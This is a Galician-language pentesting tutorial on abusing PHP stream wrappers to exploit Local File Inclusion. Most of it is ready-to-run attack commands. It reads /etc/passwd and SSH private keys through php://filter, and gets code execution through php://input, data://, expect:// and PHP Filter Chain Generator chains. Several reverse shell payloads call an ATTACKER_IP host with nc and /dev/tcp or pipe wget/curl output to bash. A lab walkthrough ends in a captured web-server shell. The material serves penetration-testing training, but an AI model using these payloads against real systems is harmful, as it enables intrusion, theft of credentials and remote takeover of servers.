PHP Wrappers
Os PHP wrappers (ou stream wrappers) son protocolos especiais que PHP usa para acceder a diferentes tipos de recursos (ficheiros, URLs, memoria, etc.) dunha forma unificada.
Concepto básico
PHP permite acceder a recursos mediante URLs especiais cun formato:
Exemplos:
file:///etc/passwd // Wrapper file (por defecto)
http://example.com/file.php // Wrapper HTTP
php://input // Wrapper PHP (entrada estándar)
data://text/plain,Hello // Wrapper data
Wrappers PHP Principais
1. php:// wrapper
Acceso a fluxos de entrada/saída de PHP.
| Wrapper | Descrición | Exemplo |
|---|---|---|
php://input |
Le datos POST/PUT brutos | include('php://input') |
php://output |
Escribe á saída estándar | file_get_contents('php://output') |
php://filter |
Aplica filtros a fluxos | php://filter/read=convert.base64-encode/resource=file.php |
php://memory |
Almacenamento temporal en memoria | fopen('php://memory', 'r+') |
php://temp |
Ficheiro temporal | fopen('php://temp', 'r+') |
2. file:// wrapper
Acceso ao sistema de ficheiros local (wrapper por defecto).
3. data:// wrapper
Permite insertar datos inline.
data://text/plain,<?php system($_GET['cmd']); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
4. expect:// wrapper
Executa comandos do sistema (require extensión expect).
5. zip:// e phar:// wrappers
Acceso a ficheiros dentro de arquivos comprimidos.
Uso en Pentesting: Explotación de LFI
Os wrappers PHP son especialmente útiles para explotar vulnerabilidades LFI (Local File Inclusion).
Escenario vulnerable típico
URL vulnerable:
Técnicas de Explotación con Wrappers
Lectura de Ficheiros con php://filter
Base64 Encode (evitar execución de código PHP)
# Ler código fonte de ficheiros PHP sen executalo
http://victim.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
# Ver /etc/passwd
http://victim.com/index.php?page=php://filter/read=convert.base64-encode/resource=/etc/passwd
# Ler clave SSH
http://victim.com/index.php?page=php://filter/read=convert.base64-encode/resource=/home/user/.ssh/id_rsa
Proceso:
1. PHP codifica o contido en Base64
2. Descodificas o resultado para ver o contido orixinal
Remote Code Execution (RCE) con php://input
Enviar código PHP mediante POST
# Preparamos o payload
curl -X POST --data "<?php system('whoami'); ?>" "http://victim.com/index.php?page=php://input"
# Reverse shell
curl -X POST --data "<?php system('nc -e /bin/bash ATTACKER_IP 4444'); ?>" "http://victim.com/index.php?page=php://input"
# Con exec()
curl -X POST --data "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"'); ?>" "http://victim.com/index.php?page=php://input"
RCE con data:// wrapper
Código inline sen POST
# Executar comandos (se allow_url_include=On)
http://victim.com/index.php?page=data://text/plain,<?php system('id'); ?>
# Reverse shell
http://victim.com/index.php?page=data://text/plain,<?php exec('nc -e /bin/bash ATTACKER_IP 4444'); ?>
# Base64 encoded (máis discreto)
http://victim.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# Payload: <?php system('id'); ?>
RCE con expect:// wrapper
# Execución directa de comandos (require extensión expect)
http://victim.com/index.php?page=expect://id
http://victim.com/index.php?page=expect://ls%20-la
http://victim.com/index.php?page=expect://whoami
PHP Filter Chain Generator
Esta é a técnica máis avanzada e potente para RCE mediante wrappers.
¿Que é PHP Filter Chain Generator?
É unha ferramenta que xera cadeas de filtros PHP que, cando se procesan, executan código PHP arbitrario sen necesidade de subir ficheiros.
Repositorio oficial:
- https://github.com/synacktiv/php_filter_chain_generator
Concepto
PHP permite encadear múltiples filtros nun wrapper:
A ferramenta abusa desta funcionalidade para:
- Manipular datos mediante filtros
- Xerar código PHP válido
- Executalo mediante
include()
Instalación
# Clonar o repositorio
git clone https://github.com/synacktiv/php_filter_chain_generator.git
cd php_filter_chain_generator
# Non require instalación, só Python 3
python3 php_filter_chain_generator.py --help
Uso de PHP Filter Chain Generator
Sintaxe básica
Exemplos prácticos
Executar comando simple
# Xerar wrapper para executar 'id'
python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'
Saída (exemplo):
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|...[MOI LONGO]...resource=php://temp
Uso:
# Copiar o wrapper xerado e usalo na URL vulnerable
http://victim.com/index.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...[WRAPPER COMPLETO]...resource=php://temp
Reverse shell con wget + bash
# Xerar wrapper para descargar e executar script
python3 php_filter_chain_generator.py --chain '<?=`wget -O- ATTACKER_IP/shell.sh|bash`?>' > wrapper.txt
Explicación do payload:
-<?= → Short tag de PHP (equivalente a <?php echo)-
` → Backticks para executar comandos-
wget -O- → Descarga e imprime á saída estándar-
|bash → Pasa o contido descargado a bash para executalo
Preparación no atacante:
# 1. Crear o script de reverse shell
cat > shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
# 2. Levantar servidor HTTP
python3 -m http.server 80
# 3. Preparar listener
nc -nlvp 4444
# 4. Executar o wrapper na URL vulnerable
# Copiar contido de wrapper.txt á URL
Reverse shell con curl
# Xerar wrapper
python3 php_filter_chain_generator.py --chain '<?=`curl ATTACKER_IP/rev.sh|bash`?>' > wrapper.txt
Executar comando con exec()
# Xerar wrapper con exec()
python3 php_filter_chain_generator.py --chain '<?php exec("nc -e /bin/bash ATTACKER_IP 4444"); ?>' > wrapper.txt
File upload + execución
# Descargar webshell
python3 php_filter_chain_generator.py --chain '<?=`wget ATTACKER_IP/shell.php -O /tmp/shell.php`?>' > wrapper.txt
# Logo visitar: http://victim.com/tmp/shell.php?cmd=id
Exemplo Completo de Explotación
Escenario
URL: http://192.168.56.100/index.php?page=home
Paso 1: Confirmar LFI
# Proba básica
curl "http://192.168.56.100/index.php?page=/etc/passwd"
# Non funciona porque engade ".php" → /etc/passwd.php
# Proba con null byte (PHP < 5.3.4)
curl "http://192.168.56.100/index.php?page=/etc/passwd%00"
# Pode funcionar en versións antigas
# Proba con wrapper
curl "http://192.168.56.100/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd"
# Funciona! Recibimos Base64 de /etc/passwd
Paso 2: Ler código fonte
# Ler index.php
curl "http://192.168.56.100/index.php?page=php://filter/convert.base64-encode/resource=index" | grep -oP 'PD9waHA.*' | base64 -d
Paso 3: Xerar payload con PHP Filter Chain Generator
# Xerar wrapper para reverse shell
python3 php_filter_chain_generator.py --chain '<?=`wget -O- http://192.168.56.53/rev.sh|bash`?>' > wrapper.txt
Paso 4: Preparar atacante
# Terminal 1: Crear script de reverse shell
cat > rev.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/192.168.56.53/4444 0>&1
EOF
# Terminal 2: Levantar servidor HTTP
python3 -m http.server 80
# Terminal 3: Listener
nc -nlvp 4444
Paso 5: Executar payload
# Copiar contido de wrapper.txt
cat wrapper.txt
# Executar na URL (wrapper pode ser MUY longo)
curl "http://192.168.56.100/index.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|...[WRAPPER COMPLETO]...resource=php://temp"
Resultado:
- Terminal 2: Recibe petición
GET /rev.sh - Terminal 3: Recibe reverse shell
nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.56.53] from (UNKNOWN) [192.168.56.100] 54321
www-data@victim:/var/www/html$ whoami
www-data
Restriccións e Limitacións
allow_url_include
Algúns wrappers require que esta opción estea activada:
Wrappers afectados:
http://https://ftp://data://(en algunhas versións)
Wrappers que sempre funcionan:
php://filterphp://inputfile://
Comprobación
Recursos Adicionais
Resumo
| Wrapper | Uso en Pentesting | Require allow_url_include |
|---|---|---|
php://filter |
Ler ficheiros, RCE avanzado | ❌ Non |
php://input |
RCE mediante POST | ❌ Non |
data:// |
RCE inline | ✅ Si |
expect:// |
RCE directo | ❌ Non (require extensión) |
file:// |
LFI básico | ❌ Non |
Mellor técnica:
- PHP Filter Chain Generator → RCE sen allow_url_include nin subir ficheiros